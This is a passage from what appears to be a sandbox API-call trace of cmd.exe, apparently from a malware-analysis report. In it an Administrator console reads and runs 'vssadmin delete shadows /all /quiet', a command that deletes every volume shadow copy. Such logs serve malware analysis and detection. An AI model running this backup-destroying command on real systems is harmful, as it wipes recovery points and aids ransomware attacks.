cbMultiByte=1, lpWideCharStr=0x4a28e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0065.699] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.699] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.699] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0065.699] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.699] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.699] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0065.699] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.699] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.700] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0065.700] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.700] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.700] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0065.700] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.700] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.700] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0065.701] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.701] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.701] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0065.701] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.701] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.701] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0065.702] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.702] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.702] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0065.702] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.702] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.702] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0065.702] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.702] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.703] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0065.703] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.703] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.703] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.703] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0065.703] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.703] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.704] ReadFile (in: hFile=0xa8, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2ef758, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x2ef758*=0x1, lpOverlapped=0x0) returned 1 [0065.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0065.706] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.706] GetFileType (hFile=0xa8) returned 0x3 [0065.706] _get_osfhandle (_FileHandle=0) returned 0xa8 [0065.706] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.706] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.706] GetFileType (hFile=0x100) returned 0x3 [0065.707] _get_osfhandle (_FileHandle=1) returned 0x100 [0065.707] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0065.707] WriteFile (in: hFile=0x100, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2ef738, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x2ef738*=0x24, lpOverlapped=0x0) returned 1 [0065.707] GetProcessHeap () returned 0x450000 [0065.707] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4012) returned 0x46cd20 [0065.707] GetProcessHeap () returned 0x450000 [0065.707] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46cd20 | out: hHeap=0x450000) returned 1 [0065.709] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0065.709] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0065.709] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0065.709] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0065.709] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0065.709] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0065.709] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0065.709] GetProcessHeap () returned 0x450000 [0065.709] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb0) returned 0x4697e0 [0065.709] GetProcessHeap () returned 0x450000 [0065.710] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x22) returned 0x464610 [0066.071] GetProcessHeap () returned 0x450000 [0066.071] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x48) returned 0x4698a0 [0066.073] GetConsoleOutputCP () returned 0x1b5 [0066.074] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0066.074] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.074] GetConsoleTitleW (in: lpConsoleTitle=0x2ef6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.076] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0066.076] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0066.076] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0066.076] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0066.076] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0066.076] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0066.076] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0066.076] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0066.076] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0066.076] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0066.076] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0066.076] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0066.076] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0066.077] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0066.077] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0066.077] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0066.077] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0066.077] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0066.077] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0066.077] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0066.077] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0066.077] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0066.077] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0066.077] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0066.077] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0066.077] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0066.077] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0066.078] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0066.078] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0066.078] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0066.078] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0066.078] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0066.078] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0066.078] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0066.078] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0066.078] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0066.078] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0066.078] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0066.078] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0066.078] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0066.079] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0066.079] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0066.079] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0066.079] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0066.079] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0066.079] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0066.079] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0066.079] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0066.079] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0066.079] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0066.079] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0066.079] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0066.079] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0066.079] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0066.080] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0066.080] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0066.080] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0066.080] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0066.080] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0066.080] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0066.080] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0066.080] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0066.080] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0066.080] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0066.081] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0066.081] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0066.081] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0066.081] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0066.082] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0066.082] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0066.082] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0066.083] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0066.083] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0066.083] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0066.083] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0066.083] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0066.083] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0066.083] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0066.083] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0066.083] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0066.083] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0066.083] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0066.083] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0066.083] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0066.083] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0066.084] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0066.084] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0066.085] GetProcessHeap () returned 0x450000 [0066.085] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x218) returned 0x451ab0 [0066.085] GetProcessHeap () returned 0x450000 [0066.085] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5a) returned 0x451cd0 [0066.085] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0066.086] GetProcessHeap () returned 0x450000 [0066.086] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x420) returned 0x469a80 [0066.086] SetErrorMode (uMode=0x0) returned 0x0 [0066.086] SetErrorMode (uMode=0x1) returned 0x0 [0066.087] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x469a90, lpFilePart=0x2eef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2eef80*="Desktop") returned 0x25 [0066.087] SetErrorMode (uMode=0x0) returned 0x1 [0066.087] GetProcessHeap () returned 0x450000 [0066.087] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x469a80, Size=0x6e) returned 0x469a80 [0066.087] GetProcessHeap () returned 0x450000 [0066.087] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x469a80) returned 0x6e [0066.087] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.087] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.088] GetProcessHeap () returned 0x450000 [0066.088] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x128) returned 0x465b70 [0066.088] GetProcessHeap () returned 0x450000 [0066.089] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x240) returned 0x469b00 [0066.104] GetProcessHeap () returned 0x450000 [0066.104] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x469b00, Size=0x12a) returned 0x469b00 [0066.104] GetProcessHeap () returned 0x450000 [0066.104] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x469b00) returned 0x12a [0066.104] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.105] GetProcessHeap () returned 0x450000 [0066.105] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe8) returned 0x469c40 [0066.105] GetProcessHeap () returned 0x450000 [0066.105] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x469c40, Size=0x7e) returned 0x469c40 [0066.105] GetProcessHeap () returned 0x450000 [0066.105] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x469c40) returned 0x7e [0066.385] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.385] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2eecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eecf0) returned 0xffffffffffffffff [0066.385] GetLastError () returned 0x2 [0066.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x2eecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eecf0) returned 0xffffffffffffffff [0066.386] GetLastError () returned 0x2 [0066.386] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.386] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2eecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eecf0) returned 0x451d40 [0066.386] GetProcessHeap () returned 0x450000 [0066.387] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x464640 [0066.387] FindClose (in: hFindFile=0x451d40 | out: hFindFile=0x451d40) returned 1 [0066.387] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2eecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eecf0) returned 0xffffffffffffffff [0066.387] GetLastError () returned 0x2 [0066.387] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2eecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eecf0) returned 0x451d40 [0066.388] GetProcessHeap () returned 0x450000 [0066.388] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x464640, Size=0x8) returned 0x4698f0 [0066.388] FindClose (in: hFindFile=0x451d40 | out: hFindFile=0x451d40) returned 1 [0066.388] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.388] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.388] GetConsoleTitleW (in: lpConsoleTitle=0x2ef240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.389] GetProcessHeap () returned 0x450000 [0066.389] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x21c) returned 0x469cd0 [0066.389] GetConsoleTitleW (in: lpConsoleTitle=0x469ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.389] GetProcessHeap () returned 0x450000 [0066.389] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x469cd0, Size=0xc0) returned 0x469cd0 [0066.389] GetProcessHeap () returned 0x450000 [0066.389] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x469cd0) returned 0xc0 [0066.390] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0066.391] GetProcessHeap () returned 0x450000 [0066.391] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x469cd0 | out: hHeap=0x450000) returned 1 [0066.391] InitializeProcThreadAttributeList (in: lpAttributeList=0x2eeff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2eefb8 | out: lpAttributeList=0x2eeff8, lpSize=0x2eefb8) returned 1 [0066.391] UpdateProcThreadAttribute (in: lpAttributeList=0x2eeff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2eefa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2eeff8, lpPreviousValue=0x0) returned 1 [0066.392] GetStartupInfoW (in: lpStartupInfo=0x2ef110 | out: lpStartupInfo=0x2ef110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa8, hStdOutput=0x100, hStdError=0x100)) [0066.392] GetProcessHeap () returned 0x450000 [0066.392] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x20) returned 0x464640 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.392] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.394] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.394] _wcsnicmp 